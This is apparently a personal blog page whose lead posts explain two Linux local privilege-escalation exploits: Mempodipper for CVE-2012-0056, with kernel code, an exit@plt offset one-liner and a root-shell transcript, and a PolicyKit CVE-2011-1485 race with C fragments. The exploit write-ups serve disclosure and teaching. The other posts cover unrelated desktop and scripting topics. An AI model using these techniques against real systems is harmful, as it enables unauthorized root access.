Introducing Mempodipper, an exploit for CVE-2012-0056. /proc/pid/mem is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process’s virtual memory space. In 2.6.39, the protections against unauthorized access to /proc/pid/mem were deemed sufficient, and so the prior #ifdef that prevented write support for writing to arbitrary process memory was removed. Anyone with the correct permissions could write to process memory. It turns out, of course, that the permissions checking was done poorly. This means that all Linux kernels >=2.6.39 are vulnerable, up until the fix commit for it a couple days ago. Let’s take the old kernel code step by step and learn what’s the matter with it.

When /proc/pid/mem is opened, this kernel code is called:

static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

There are no restrictions on opening; anyone can open the /proc/pid/mem fd for any process (subject to the ordinary VFS restrictions). It simply makes note of the original process’s self_exec_id that it was opened with and stores this away for checking later during reads and writes.

Writes (and reads), however, have permissions checking restrictions. Let’s take a look at the write function:

static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{
 
/* unimportant code removed for blog post */	
 
	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
 
/* unimportant code removed for blog post */
 
	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;
 
/* unimportant code removed for blog post */	
 
	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;
 
/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */

So there are two relevant checks in place to prevent against unauthorized writes: check_mem_permission and self_exec_id. Let’s do the first one first and second one second.

The code of check_mem_permission simply calls into __check_mem_permission, so here’s the code of that:

static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;
 
	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);
 
	/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */
	if (task == current)
		return mm;
 
	/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}
 
	/*
	 * No one else is allowed.
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

There are two ways that the memory write is authorized. Either task == current, meaning that the process being written to is the process writing, or current (the process writing) has esoteric ptrace-level permissions to play with task (the process being written to). Maybe you think you can trick the ptrace code? It’s tempting. But I don’t know. Let’s instead figure out how we can make a process write arbitrary memory to itself, so that task == current.

Now naturally, we want to write into the memory of suid processes, since then we can get root. Take a look at this:

$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su will spit out whatever text you want onto stderr, prefixed by “Unknown id:”. So, we can open a fd to /proc/self/mem, lseek to the right place in memory for writing (more on that later), use dup2 to couple together stderr and the mem fd, and then exec to su $shellcode to write an shell spawner to the process memory, and then we have root. Really? Not so easy.

Here the other restriction comes into play. After it passes the task == current test, it then checks to see if the current self_exec_id matches the self_exec_id that the fd was opened with. What on earth is self_exec_id? It’s only referenced a few places in the kernel. The most important one happens to be inside of exec:

void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */
 
	/* An exec changes our domain. We are no longer part of the thread
	   group */
 
	current->self_exec_id++;
 
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

self_exec_id is incremented each time a process execs. So in this case, it functions so that you can’t open the fd in a non-suid process, dup2, and then exec to a suid process… which is exactly what we were trying to do above. Pretty clever way of deterring our attack, eh?

Here’s how to get around it. We fork a child, and inside of that child, we exec to a new process. The initial child fork has a self_exec_id equal to its parent. When we exec to a new process, self_exec_id increments by one. Meanwhile, the parent itself is busy execing to our shellcode writing su process, so its self_exec_id gets incremented to the same value. So what we do is — we make this child fork and exec to a new process, and inside of that new process, we open up a fd to /proc/parent-pid/mem using the pid of the parent process, not our own process (as was the case prior). We can open the fd like this because there is no permissions checking for a mere open. When it is opened, its self_exec_id has already incremented to the right value that the parent’s self_exec_id will be when we exec to su. So finally, we pass our opened fd from the child process back to the parent process (using some very black unix domain sockets magic), do our dup2ing, and exec into su with the shell code.

There is one remaining objection. Where do we write to? We have to lseek to the proper memory location before writing, and ASLR randomizes processes address spaces making it impossible to know where to write to. Should we spend time working on more cleverness to figure out how to read process memory, and then carry out a search? No. Check this out:

$ readelf -h /bin/su | grep Type
  Type:                              EXEC (Executable file)

This means that su does not have a relocatable .text section (otherwise it would spit out “DYN” instead of “EXEC”). It turns out that su on the vast majority of distros is not compiled with PIE, disabling ASLR for the .text section of the binary! So we’ve chosen su wisely. The offsets in memory will always be the same. So to find the right place to write to, let’s check out the assembly surrounding the printing of the “Unknown id: blabla” error message.

It gets the error string here:

  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

And then writes it to stderr:

  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

Closes the log:

  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

And then exits the program:

  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

We therefore want to use 0×402178, which is the exit function it calls. We can, in an exploit, automate the finding of the exit@plt symbol with a simple bash one-liner:

$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

So naturally, we want to write to 0×402178 minus the number of letters in the string “Unknown id: “, so that our shellcode is placed at exactly the right place.

The shellcode should be simple and standard. It sets the uid and gid to 0 and execs into a shell. If we want to be clever, we can reopen stderr by, prior to dup2ing the memory fd to stderr, we choose another fd to dup stderr to, and then in the shellcode, we dup2 that other fd back to stderr.

In the end, the exploit works like a charm with total reliability:

 
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================
 
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

You can watch a video of it in action:

As always, thanks to Dan Rosenberg for his continued advice and support. I’m currently not releasing any source code, as Linus only very recently patched it. After a responsible amount of time passes or if someone else does first, I’ll publish. If you’re a student trying to learn about things or have otherwise legitimate reasons, we can talk.

Update: evidently, based on this blog post, ironically, some other folks made exploits and published them. So, here’s mine. I wrote the shellcode for 32-bit and 64-bit by hand. Enjoy!

Update 2: as it turns out, Fedora very aptly compiles their su with PIE, which defeats this attack. They do not, unfortunately, compile all their SUID binaries with PIE, and so this attack is still possible with, for example, gpasswd. The code to do this is in the “fedora” branch of the git repository, and a video demonstration is also available.

Update 3: Gentoo is smart enough to remove read permissions on SUID binaries, making it impossible to find the exit@plt offset using objdump. I determined another way to do this, using ptrace. Ptrace allows debugging of any program in memory. For SUID programs, ptracing will drop its privileges, but that’s fine, since we simply want to find internal memory locations. By parsing the opcode of the binary at the right time, we can decipher the target address of the next call after the printing of the error message. I’ve created a standalone utility that returns the offset, as well as integrating it into the main mempodipper source.

{As always, this is work here is strictly academic, and is not intended for use beyond research and education.}

January 22, 2012 · 103 comments


I just moved to Paris, which means I’m finally in the right proximity at the right time for attending an open source conference. I’m not sure what the scoop is with the Parsian KDE community — if it exists or is vibrant, if there’s camaraderie, or what the situation is. But, in case there is a good vibe brewing inside the Paris OSS community, what do you say we all band together to attend FOSDEM. Leave our city for Brussels in a festive caravan on Friday night (or possibly just a train) and come back Sunday night? If there’s interest, email me at jason [at] zx2c4 dot com or leave a comment below.

January 18, 2012 · (No comments)


TechRadar has decided that KDE is the most usable desktop compared to Gnome and Unity. A few days prior to the publication of this article, my friend John emailed me to write:

I’m using Kde on my computer at work and it is amazing. It’s improved so much that it’s now stable and highly usable.

I tried Unity (I’m using Ubuntu) and it was unusable. Gnome 3 was better but had massive issues with my second screen (dual screen setup with nvdia gpu running in twin view). Gnome 3 was still lacking in the productivity area though. Lxde worked great but I don’t want to use a desktop that looks and feels like Windows 95… Also Lxde has few apps so I had to pull in gnome or ode ones…

I also had issues with Ubuntu’s lightdm but switching to kdm fixed that. So far Kde is the only desktop that fully works, feels good, looks good and has apps for every task.

John

Sent from my phone

Finally folks are figuring out that KDE doesn’t suck anymore.


Update: Adam Weiss writes with a political comparison:

Gnome 3, Unity…they are like the George W. Bush of the non-KDE Linux desktop movement. Instead of taking care of the real issues on the desk, they went gallavanting off into the netbook world, dropping bombs all over the place and even to this day nobody can really figure out what the point of netbooks is…

December 18, 2011 · 65 comments


A few weeks ago, I posted an exploit and a bug report for a Linux local root exploit in Calibre. The author, Kovid Goyal, became incensed, and rather than work with me to fix it, he insulted my colleagues and me. After each one of his fixes, I released a new exploit breaking the latest. It got a lot of social media hype, and was kind of a big deal. After several days of media frenzy and bad publicity, the stubborn developer finally bent to the advice of the chorus of leading security researchers, and the mount helper was removed in entirety. In any case, the exploits show some neat race condition tricks that you might want to check out, using inotify and a toggler.

  • Hilarious bug report
  • Important news article
  • Social media hype
  • More social media hype
  • Compliment from famous hacker
  • oss-security mailing list discussion
  • Obscene praise from script-kiddie
  • First Exploit
  • Second Exploit
  • Third Exploit
  • Most Glorious Forth Exploit
  • There’s plenty of technical explanation in the comments of the code. I was assigned CVE-2011-4124, CVE-2011-4125, and CVE-2011-4126, my first three CVEs.


    After that, I decided to learn about linker bugs, so I reread Tavis’ excellent two write-ups on CVE-2010-3856 and CVE-2010-3847. I saw that there was room for writing a newer exploit based on his research that did not depend on having read access to SUID executables or having a cron daemon installed, so I wrote I Can’t Read and I Won’t Race You Either. The source has plenty of explanation. I also suggest reading Tim Brown’s excellent paper on linker bugs.

    November 18, 2011 · 3 comments


    So far as I can tell, changing your wallpaper (using the default wallpaper plugin, not any fancy scripted wallpaper plugins) from the command line in KDE4 is needlessly hard. I have to write a JavaScript file to a temporary location, make a dbus call to load it into an interactive window, and then use xdotool to simulate key strokes to run it. Jimminy cricket. But below is how I have it done. If there’s an easier way that I’ve missed, pleeeaassseee let me know in the comments.

    set-wallpaper.sh:

    #!/bin/sh
    js=$(mktemp)
    cat > $js <<_EOF
    var wallpaper = "$1";
    var activity = activities()[0];
    activity.currentConfigGroup = new Array("Wallpaper", "image");
    activity.writeConfig("wallpaper", wallpaper);
    activity.writeConfig("userswallpaper", wallpaper);
    activity.reloadConfig();
    _EOF
    qdbus org.kde.plasma-desktop /App local.PlasmaApp.loadScriptInInteractiveConsole "$js" > /dev/null
    xdotool search --name "Desktop Shell Scripting Console – Plasma Desktop Shell" windowactivate key ctrl+e key ctrl+w
    rm -f "$js"
    November 18, 2011 · 7 comments


    I’ve figured out how to script the Google Documents Viewer into reading any office document — doc, docx, xls, xlsx, odt, ods, and probably a bunch of others — and converting it to PDF. There are tons of tools, such as unoconv, but Google’s service is well sandboxed, which makes it a nice choice if you want to convert untrusted documents, such as in the case of a web service. So without further ado, here you go:

    convert-url-to-pdf.sh:

    #!/bin/sh
     
    # by Jason A. Donenfeld
    # www.zx2c4.com
     
    if [ $# -ne 2 ]; then
            echo "Usage: $0 url output-pdf-file"
            exit 1
    fi
     
    set -e
    documenturl="$(echo -n "$1" | xxd -plain | tr -d '\n' | sed 's/\(..\)/%\1/g')"
    viewerurl="http://docs.google.com/viewer?url=$documenturl"
    pdfurl="$(printf "$(curl -s "$viewerurl" | sed -n "s/.*gpUrl:'\\([^']*\\)'.*/\\1/p" | sed 's/%/%%/g')")"
    cookiejar="$(mktemp)"
    curl -s -L -c "$cookiejar" -o "$2" $pdfurl
    rm -f "$cookiejar"

    November 18, 2011 · (No comments)


    Gentoo’s HP printer drivers package, net-print/hplip, if you have the gui USE flags enabled, installs /etc/xdg/autostart/hplip-systray.desktop, which makes an awful Windows-like tray app load with all desktop environments for every user on the machine. Who wants this? Every user? Tray app? Autostart? This is Linux, not Windows, right?

    Upstream, i.e. Gentoo devs, doesn’t seem to want to add an autostart USE flag. I don’t feel like maintaining my own ebuild for this, either. So, the official advice is to copy hplip-systray.desktop into a special place in your own home folder, and then edit the file to have Hidden=true. Yuck. So now my start-up routine will have to spend extra CPU cycles resolving the override, not to mention the requirement for each and every user on my machine to do this. Sure I could add this extra file to the default set of files copied into each home folder on user creation for each desktop environment, but do I really want to do this? What about preexisting users? Do I really want this system installed package to require this kind of manual intervention? The obvious thing to do is just to delete /etc/xdg/autostart/hplip-systray.desktop after each time hplip installs, namely, after each update.

    But the official advice calls this approach “naive”. Fuck that. I don’t want the extra overhead of working out the collision, nor do I want to have to add this file to each user’s home folder. I want that file gone, dead, vamos‘d. The thing is, it means I have to manually remove the file after each time the ebuild gets updated (and remember, I don’t want to maintain my own fork of the ebuild).

    Fortunately, there’s a solution: Portage allows per-package environment variable overrides via /etc/portage/env/. By putting some monkey patching code in the right place, we can override a function inside of all subsequent hplip ebuilds to automagically remove the ugly file. Create the right directory:

    sudo mkdir -p /etc/portage/env/net-print

    Then, add my monkey patch code to it:

    sudo vim /etc/portage/env/net-print/hplip
    if ( ! type -t original_src_install >/dev/null) && (type -t src_install >/dev/null); then
            eval "$(echo 'original_src_install()'; declare -f src_install | tail -n +2)"
            src_install() {
                    original_src_install
                    rm -f "${D}"/etc/xdg/autostart/hplip-systray.desktop || die
            }
    fi

    Finally, re-emerge hplip, and it should install without the autostart file. Yes, this is one ugly bash-ism, but it seems to do the job. Any suggestions would be appreciated.


    Update: A reader below has noted that a far superior way of doing this is to just put

    INSTALL_MASK="/etc/xdg/autostart/hplip-systray.desktop $INSTALL_MASK"

    inside of /etc/portage/env/net-print/hplip, without needing to do the monkey patching above. INSTALL_MASK is a great feature, one that is not highlighted very much at all in the documentation. The most official mention of it I could find is in make.conf‘s man page:

           INSTALL_MASK = [space delimited list of file names]
                  Use this variable if you want  to  selectively  prevent  certain
                  files  from  being copied into your file system tree.  This does
                  not work on symlinks, but only on actual files.  Useful  if  you
                  wish  to  filter  out  files  like  HACKING.gz  and TODO.gz. The
                  INSTALL_MASK is processed just before a package is merged.  Also
                  supported  is  a  PKG_INSTALL_MASK variable that behaves exactly
                  like INSTALL_MASK except that it is processed just  before  cre‐
                  ation of a binary package.
    

    Internally in misc-functions.sh, it does essentially the same thing as my monkey patch:

    install_mask() {
    	local root="$1"
    	shift
    	local install_mask="$*"
     
    	# we don't want globbing for initial expansion, but afterwards, we do
    	local shopts=$-
    	set -o noglob
    	for no_inst in ${install_mask}; do
    		set +o noglob
    		quiet_mode || einfo "Removing ${no_inst}"
    		# normal stuff
    		rm -Rf "${root}"/${no_inst} >&/dev/null
     
    		# we also need to handle globs (*.a, *.h, etc)
    		find "${root}" \( -path "${no_inst}" -or -name "${no_inst}" \) \
    			-exec rm -fR {} \; >/dev/null 2>&1
    	done
    	# set everything back the way we found it
    	set +o noglob
    	set -${shopts}
    }
    October 31, 2011 · 6 comments


    Since it’s been 6 months since reported, I figure it’s been a responsible amount of time for me to wait before releasing a local root exploit for Linux that targets polkit-1 <= 0.101, CVE-2011-1485, a race condition in PolicyKit. I present you with PolicyKit Pwnage.

    David Zeuthen of Redhat explains on the original bug report:

    Briefly, the problem is that the UID for the parent process of pkexec(1) is read from /proc by stat(2)’ing /proc/PID. The problem with this is that this returns the effective uid of the process which can easily be set to 0 by invoking a setuid-root binary such as /usr/bin/chsh in the parent process of pkexec(1). Instead we are really interested in the real-user-id. While there’s a check in pkexec.c to avoid this problem (by comparing it to what we expect the uid to be – namely that of the pkexec.c process itself which is the uid of the parent process at pkexec-spawn-time), there is still a short window where an attacker can fool pkexec/polkitd into thinking that the parent process has uid 0 and is therefore authorized. It’s pretty hard to hit this window – I actually don’t know if it can be made to work in practice.

    Well, here is, in fact, how it’s made to work in practice. There is as he said an attempted mitigation, and the way to trigger that mitigation path is something like this:

         $ sudo -u `whoami` pkexec sh
         User of caller (0) does not match our uid (1000)

    Not what we want. So the trick is to execl to a suid at just the precise moment /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed, and execl to the suid binary as our very next instruction.

    	if (fork()) {
    		int fd;
    		char pid_path[1024];
    		sprintf(pid_path, "/proc/%i", getpid());
    		printf("[+] Configuring inotify for proper pid.\n");
    		close(0); close(1); close(2);
    		fd = inotify_init();
    		if (fd < 0)
    			perror("[-] inotify_init");
    		inotify_add_watch(fd, pid_path, IN_ACCESS);
    		read(fd, NULL, 0);

    All the code up to this point makes this process block until /proc/PID is read, at which point it:

    		execl("/usr/bin/chsh", "chsh", NULL);

    Which is suid. Meanwhile in the other process, we launch pkexec, which skirts passed the initial checks, but gets fooled when we change the uid of the parent process:

    	} else {
    		sleep(1);
    		printf("[+] Launching pkexec.\n");
    		execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
    	}

    And it works:

     $ pkexec --version
     pkexec version 0.101
     $ gcc polkit-pwnage.c -o pwnit
     $ ./pwnit 
     [+] Configuring inotify for proper pid.
     [+] Launching pkexec.
     sh-4.2# whoami
     root
     sh-4.2# id
     uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
     sh-4.2#

    This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which as of writing uses 0.101, has backported 0.102's bug fix. A way to check this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or later and you're out of luck. It's likely other distributions do the same. Fortunately, this exploit is clean enough that you can try it out without too much collateral.

    So head on over and try it out! You can watch it in action over on YouTube as well:

    Greets to Dan.

    October 5, 2011 · 3 comments


    My work for Grafitroniks was featured in an expo in Paris last week:

    Viscom 2011

    Viscom 2011

    I built the PrintCompositor.

    October 1, 2011 · 1 comment


    The vcard export GUI feature of the contacts app on the N950 is broken. The console app “vcardconverter” successfully digests vcards, but you won’t be able to get them out. In my case, it converted some back to vcards, but failed on others. Unacceptable. For updating to today’s new firmware, I didn’t want to take a full backup of the tracker database, choosing instead to start fresh, suspecting that the new firmware fixes a lot of bugs. How, then, was I to backup my contacts, if I wasn’t going to backup the tracker? Vcard is the perfect neutral format for this.

    So in a few lines of easy Qt/C++, I wrote vcardexport, a console application. It spits all the contacts out into one giant vcard file that can be reimported later with vcardconverter. Simple and easy. The biggest pain was getting the Aegis manifest correct, as the auto-generation tool is broken, and documentation is kind of sparse, but it’s all sorted now.

    You can browse the source here or download the latest deb from here.

    Usage:

    $ /opt/vcardexport/bin/vcardexport > ~/vcards.vcf

    Hope this is helpful. Enjoy the new firmware:

        image        [state    progress         transfer     flash speed]
    ---------------------------------------------------------------------
    [x] cert-sw      [finished   100 %       1 /       1 kB      NA     ]
    [x] cmt-2nd      [finished   100 %      95 /      95 kB      NA     ]
    [x] cmt-algo     [finished   100 %     789 /     789 kB      NA     ]
    [x] cmt-mcusw    [finished   100 %    6008 /    6008 kB    2933 kB/s]
    [x] xloader      [finished   100 %      23 /      23 kB      NA     ]
    [x] secondary    [finished   100 %      88 /      88 kB      NA     ]
    [x] kernel       [finished   100 %    2708 /    2708 kB    2024 kB/s]
    [x] rootfs       [finished   100 %  326205 /  326205 kB    7339 kB/s]
    [x] mmc          [finished   100 %  204747 /  204747 kB   17604 kB/s]
    Updating SW release
    Success
    
    September 19, 2011 · 1 comment